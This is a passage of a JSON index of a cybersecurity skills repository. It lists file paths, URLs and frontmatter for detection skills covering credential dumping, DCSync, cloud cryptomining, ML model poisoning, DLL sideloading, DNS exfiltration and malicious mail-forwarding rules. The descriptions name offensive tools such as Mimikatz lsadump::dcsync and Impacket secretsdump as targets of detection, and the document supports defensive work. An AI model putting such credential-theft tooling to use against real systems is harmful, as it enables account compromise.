Falco up on a cluster, choosing between the eBPF and kernel-module drivers, routing Falco alerts into a SIEM or Falcosidekick, or upgrading an existing deployment. Keywords: Falco, modern_ebpf, kernel module, Helm, Falcosidekick, runtime security, syscall. Do not use for authoring individual escape rules - use detecting-container-escape-with-falco-rules.","domain":"cybersecurity","subdomain":"container-security","tags":["falco","runtime-security","ebpf","container-escape","syscall-monitoring","detection-engineering","kubernetes","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1611"]},"isInternal":false,"tokens":3045,"sizeBytes":11874},{"name":"api-reference.md","path":"skills/detecting-credential-dumping-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-credential-dumping-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":820,"sizeBytes":2758},{"name":"SKILL.es.md","path":"skills/detecting-credential-dumping-techniques/SKILL.es.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-credential-dumping-techniques/SKILL.es.md","title":"detecting-credential-dumping-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2FSKILL.es.md -->","frontmatter":{"name":"detecting-credential-dumping-techniques","description":"Detect LSASS credential dumping, SAM database extraction, and NTDS.dit theft using Sysmon Event ID 10, Windows Security logs, and SIEM correlation rules","domain":"cybersecurity","subdomain":"threat-detection","tags":["credential-dumping","lsass","mimikatz","sysmon","active-directory","windows-security","defense-evasion"],"version":"1.0","author":"mahipal","license":"Apache-2.0","language":"es"},"isInternal":false,"tokens":651,"sizeBytes":2376},{"name":"SKILL.md","path":"skills/detecting-credential-dumping-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-credential-dumping-techniques/SKILL.md","title":"detecting-credential-dumping-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2FSKILL.md -->","frontmatter":{"name":"detecting-credential-dumping-techniques","description":"Detect LSASS credential dumping, SAM database extraction, and NTDS.dit theft (e.g. via Mimikatz) using Sysmon Event ID 10 process-access logging, Windows Security logs, and SIEM correlation rules. Use when hunting for credential-theft activity on Windows/Active Directory hosts or triaging EDR alerts on LSASS access.","domain":"cybersecurity","subdomain":"threat-detection","tags":["credential-dumping","lsass","mimikatz","sysmon","active-directory","windows-security","defense-evasion"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","File Metadata Consistency Validation","Restore Access","Application Protocol Command Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","positioning","initial-access"],"techniques":[{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"T1555.003","name":"Credentials from Password Stores: Credentials from Web Browsers","tactic":"reconnaissance","source":"attack"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1110.002","name":"Brute Force: Password Cracking","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":843,"sizeBytes":3396},{"name":"api-reference.md","path":"skills/detecting-cryptomining-in-cloud/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-cryptomining-in-cloud/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cryptomining-in-cloud%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":605,"sizeBytes":2154},{"name":"SKILL.md","path":"skills/detecting-cryptomining-in-cloud/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-cryptomining-in-cloud/SKILL.md","title":"detecting-cryptomining-in-cloud","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cryptomining-in-cloud%2FSKILL.md -->","frontmatter":{"name":"detecting-cryptomining-in-cloud","description":"This skill teaches security teams how to detect and respond to unauthorized cryptocurrency mining operations in cloud environments. It covers identifying cryptomining indicators through compute usage anomalies, network traffic patterns to mining pools, GuardDuty CryptoCurrency findings, and runtime process monitoring on EC2, ECS, EKS, and Azure Automation workloads.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cryptomining-detection","cloud-abuse","resource-hijacking","guardduty-crypto","cost-anomaly"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1071"],"mitre_f3":{"version":"1.1","tactics":["initial-access","resource-development","monetization"],"techniques":[{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"T1586.003","name":"Compromise Accounts: Cloud Accounts","tactic":"resource-development","source":"attack"},{"id":"T1583.003","name":"Acquire Infrastructure: Virtual Private Network or Server","tactic":"resource-development","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":3445,"sizeBytes":14511},{"name":"api-reference.md","path":"skills/detecting-data-and-model-poisoning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-data-and-model-poisoning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":567,"sizeBytes":2228},{"name":"standards.md","path":"skills/detecting-data-and-model-poisoning/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-data-and-model-poisoning/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":437,"sizeBytes":1674},{"name":"SKILL.md","path":"skills/detecting-data-and-model-poisoning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-data-and-model-poisoning/SKILL.md","title":"detecting-data-and-model-poisoning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2FSKILL.md -->","frontmatter":{"name":"detecting-data-and-model-poisoning","description":"Identify poisoned training data and backdoored ML models across the pipeline using IBM's Adversarial Robustness Toolbox (activation clustering, spectral signatures, trigger reconstruction), Cleanlab for label-quality issues, and supply-chain checks like weight-hash verification and safetensors enforcement. Use before training or deploying on third-party/user-contributed data or downloaded checkpoints, during ML supply-chain reviews, or when investigating model misbehavior tied to specific inputs (suspected backdoor trigger).","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","data-poisoning","model-backdoor","ml-supply-chain","adversarial-robustness-toolbox","activation-clustering","spectral-signatures","model-integrity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0020","AML.T0018"]},"isInternal":false,"tokens":2519,"sizeBytes":10960},{"name":"template.md","path":"skills/detecting-dcsync-attack-in-active-directory/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dcsync-attack-in-active-directory/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":395,"sizeBytes":1674},{"name":"api-reference.md","path":"skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":698,"sizeBytes":2081},{"name":"standards.md","path":"skills/detecting-dcsync-attack-in-active-directory/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dcsync-attack-in-active-directory/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":618,"sizeBytes":2372},{"name":"workflows.md","path":"skills/detecting-dcsync-attack-in-active-directory/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dcsync-attack-in-active-directory/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":902,"sizeBytes":3106},{"name":"SKILL.md","path":"skills/detecting-dcsync-attack-in-active-directory/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dcsync-attack-in-active-directory/SKILL.md","title":"detecting-dcsync-attack-in-active-directory","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2FSKILL.md -->","frontmatter":{"name":"detecting-dcsync-attack-in-active-directory","description":"Detect DCSync attacks (MITRE T1003.006) where adversaries abuse Active Directory replication privileges to extract password hashes, by auditing Event ID 4662 for the DS-Replication-Get-Changes GUIDs and flagging non-domain-controller accounts issuing DsGetNCChanges RPC calls. Use when hunting for credential theft via Mimikatz lsadump::dcsync or Impacket secretsdump, investigating lateral movement with domain admin credentials, or auditing AD replication permissions.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","active-directory","dcsync","credential-theft","mitre-t1003-006","mimikatz","kerberos"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":1769,"sizeBytes":6771},{"name":"api-reference.md","path":"skills/detecting-deepfake-audio-in-vishing-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-deepfake-audio-in-vishing-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-deepfake-audio-in-vishing-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1394,"sizeBytes":5398},{"name":"SKILL.md","path":"skills/detecting-deepfake-audio-in-vishing-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-deepfake-audio-in-vishing-attacks/SKILL.md","title":"detecting-deepfake-audio-in-vishing-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-deepfake-audio-in-vishing-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-deepfake-audio-in-vishing-attacks","description":"Detect AI-generated deepfake audio used in voice phishing (vishing) by extracting spectral features (MFCC, spectral centroid, spectral contrast, zero-crossing rate) and classifying samples with machine learning models, supporting batch audio analysis, confidence scoring, and forensic reporting. Use for deepfake voice detection, vishing investigations, AI-generated speech analysis, voice cloning detection, or audio authenticity verification.","domain":"cybersecurity","subdomain":"social-engineering-defense","tags":["deepfake-detection","vishing","audio-forensics","MFCC","spectral-analysis","voice-cloning"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","atlas_techniques":["AML.T0088","AML.T0043","AML.T0018","AML.T0052"],"nist_ai_rmf":["MEASURE-2.7","GOVERN-6.2","MAP-5.2","MEASURE-2.5","MAP-5.1"],"d3fend_techniques":["Sender Reputation Analysis","Content Validation","Message Analysis","User Behavior Analysis","Identifier Analysis"],"nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02"],"mitre_attack":["T1078","T1190","T1059","T1566","T1598"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","stealth","monetization"],"techniques":[{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1031","name":"Impersonate Account Holder","tactic":"initial-access","source":"f3"},{"id":"F1040","name":"Phone Number Spoofing","tactic":"stealth","source":"f3"},{"id":"F1034","name":"Interactive Voice Response Mapping","tactic":"reconnaissance","source":"f3"},{"id":"F1025.003","name":"Electronic Funds Transfer: Wire Transfer","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":2780,"sizeBytes":11375},{"name":"api-reference.md","path":"skills/detecting-dependency-confusion/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dependency-confusion/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":653,"sizeBytes":2275},{"name":"standards.md","path":"skills/detecting-dependency-confusion/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dependency-confusion/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":349,"sizeBytes":1643},{"name":"SKILL.md","path":"skills/detecting-dependency-confusion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dependency-confusion/SKILL.md","title":"detecting-dependency-confusion","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2FSKILL.md -->","frontmatter":{"name":"detecting-dependency-confusion","description":"Detect and prevent dependency confusion (public-over-private package name resolution) in npm, PyPI, and Maven by enumerating claimable internal package names with tools like `confused` and OWASP `dep-scan`, then enforcing source restrictions via `.npmrc`, `pip.conf`/`pyproject.toml`, and Maven `settings.xml`. Use when onboarding a repo to a supply-chain security program, auditing lockfiles/manifests for confusable dependencies, or after an incident that may have leaked internal package names.","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["supply-chain-security","dependency-confusion","npm","pypi","maven","package-management","devsecops","namespace-hijacking"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-09"],"mitre_attack":["T1195.001"]},"isInternal":false,"tokens":2811,"sizeBytes":11789},{"name":"template.md","path":"skills/detecting-dll-sideloading-attacks/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dll-sideloading-attacks/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":184,"sizeBytes":695},{"name":"api-reference.md","path":"skills/detecting-dll-sideloading-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dll-sideloading-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":430,"sizeBytes":1527},{"name":"standards.md","path":"skills/detecting-dll-sideloading-attacks/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dll-sideloading-attacks/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":454,"sizeBytes":1895},{"name":"workflows.md","path":"skills/detecting-dll-sideloading-attacks/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dll-sideloading-attacks/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":612,"sizeBytes":2264},{"name":"SKILL.md","path":"skills/detecting-dll-sideloading-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dll-sideloading-attacks/SKILL.md","title":"detecting-dll-sideloading-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-dll-sideloading-attacks","description":"Detect DLL side-loading and search-order hijacking (MITRE T1574) where adversaries plant malicious DLLs for legitimate signed applications to load, by analyzing Sysmon Event ID 7 DLL-load events, checking signatures/hashes against known-good versions, and flagging path anomalies with EDR tools like CrowdStrike, MDE, or SentinelOne. Use when investigating EDR alerts on unsigned DLLs, hunting for APT persistence via trojanized applications, or triaging incidents involving DLL hijacking.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","dll-sideloading","defense-evasion","t1574","edr","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","Platform Hardening","File Format Verification"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1027"]},"isInternal":false,"tokens":1047,"sizeBytes":4524},{"name":"api-reference.md","path":"skills/detecting-dnp3-protocol-anomalies/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dnp3-protocol-anomalies/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dnp3-protocol-anomalies%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":507,"sizeBytes":1671},{"name":"SKILL.md","path":"skills/detecting-dnp3-protocol-anomalies/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dnp3-protocol-anomalies/SKILL.md","title":"detecting-dnp3-protocol-anomalies","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dnp3-protocol-anomalies%2FSKILL.md -->","frontmatter":{"name":"detecting-dnp3-protocol-anomalies","description":"Detect anomalies in DNP3 communications used in SCADA/ICS systems by monitoring unauthorized control commands, firmware update attempts, protocol violations, and deviations from baseline traffic using deep packet inspection and machine learning approaches. Use when securing energy-sector or other OT/ICS networks, investigating suspicious DNP3 master/outstation activity, or building an anomaly-based IDS for industrial control traffic.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","dnp3","scada","anomaly-detection","protocol-analysis","energy-sector","ids"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0043","AML.T0018"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","MAP-5.1"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3569,"sizeBytes":14225},{"name":"api-reference.md","path":"skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dns-exfiltration-with-dns-query-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":452,"sizeBytes":1525},{"name":"SKILL.md","path":"skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md","title":"detecting-dns-exfiltration-with-dns-query-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dns-exfiltration-with-dns-query-analysis%2FSKILL.md -->","frontmatter":{"name":"detecting-dns-exfiltration-with-dns-query-analysis","description":"Detect data exfiltration via DNS tunneling (tools like iodine, dnscat2, dns2tcp) by analyzing query entropy, subdomain length, query volume to single domains, TXT/CNAME/NULL record abuse, and oversized response payloads using passive DNS monitoring and statistical/ML methods. Use when hunting for covert DNS-based data exfiltration or building a passive DNS anomaly detection capability.","domain":"cybersecurity","subdomain":"network-security","tags":["dns-exfiltration","dns-tunneling","data-exfiltration","threat-detection","entropy-analysis","passive-dns","network-monitoring","iodine","dnscat2"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1048"]},"isInternal":false,"tokens":4073,"sizeBytes":16776},{"name":"api-reference.md","path":"skills/detecting-email-account-compromise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-account-compromise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-account-compromise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":580,"sizeBytes":2475},{"name":"SKILL.md","path":"skills/detecting-email-account-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-account-compromise/SKILL.md","title":"detecting-email-account-compromise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-account-compromise%2FSKILL.md -->","frontmatter":{"name":"detecting-email-account-compromise","description":"Detect compromised O365 and Google Workspace email accounts by analyzing Unified Audit Logs and Azure AD sign-in logs for impossible travel, inbox rule creation/deletion (Set-InboxRule, New-InboxRule), external mail forwarding rules, and unusual Microsoft Graph API access or OAuth token use. Use when investigating suspected business email compromise (BEC), account takeover, or mailbox persistence via malicious inbox rules.","domain":"cybersecurity","subdomain":"incident-response","tags":["email-compromise","office365","microsoft-graph","bec","inbox-rules","sign-in-analysis","account-takeover"],"mitre_attack":["T1486","T1490","T1070","T1078","T1566"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":685,"sizeBytes":3289},{"name":"template.md","path":"skills/detecting-email-forwarding-rules-attack/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-forwarding-rules-attack/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":729,"sizeBytes":2683},{"name":"api-reference.md","path":"skills/detecting-email-forwarding-rules-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-forwarding-rules-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":463,"sizeBytes":1867},{"name":"standards.md","path":"skills/detecting-email-forwarding-rules-attack/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-forwarding-rules-attack/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":418,"sizeBytes":1618},{"name":"workflows.md","path":"skills/detecting-email-forwarding-rules-attack/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-forwarding-rules-attack/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":623,"sizeBytes":2929},{"name":"SKILL.md","path":"skills/detecting-email-forwarding-rules-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-email-forwarding-rules-attack/SKILL.md","title":"detecting-email-forwarding-rules-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2FSKILL.md -->","frontmatter":{"name":"detecting-email-forwarding-rules-attack","description":"Detect malicious inbox/mail-flow forwarding rules that adversaries create to maintain persistent access to email communications for intelligence collection and business email compromise. Use when hunting for suspicious auto-forwarding, hidden mailbox rules, or T1114-style email collection persistence after a compromised account or BEC incident.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","email-forwarding","persistence","bec","t1114","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Object","Restore Configuration","Application Configuration Hardening","Application Hardening","Disable Remote Access"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":829,"sizeBytes":3669},{"name":"api-reference.md","path":"skills/detecting-entra-offensive-tools-in-graph-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-entra-offensive-tools-in-graph-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":622,"sizeBytes":2525},{"name":"standards.md","path":"skills/detecting-entra-offensive-tools-in-graph-logs/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-entra-offensive-tools-in-graph-logs/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2Freferences%2Fstandards.md 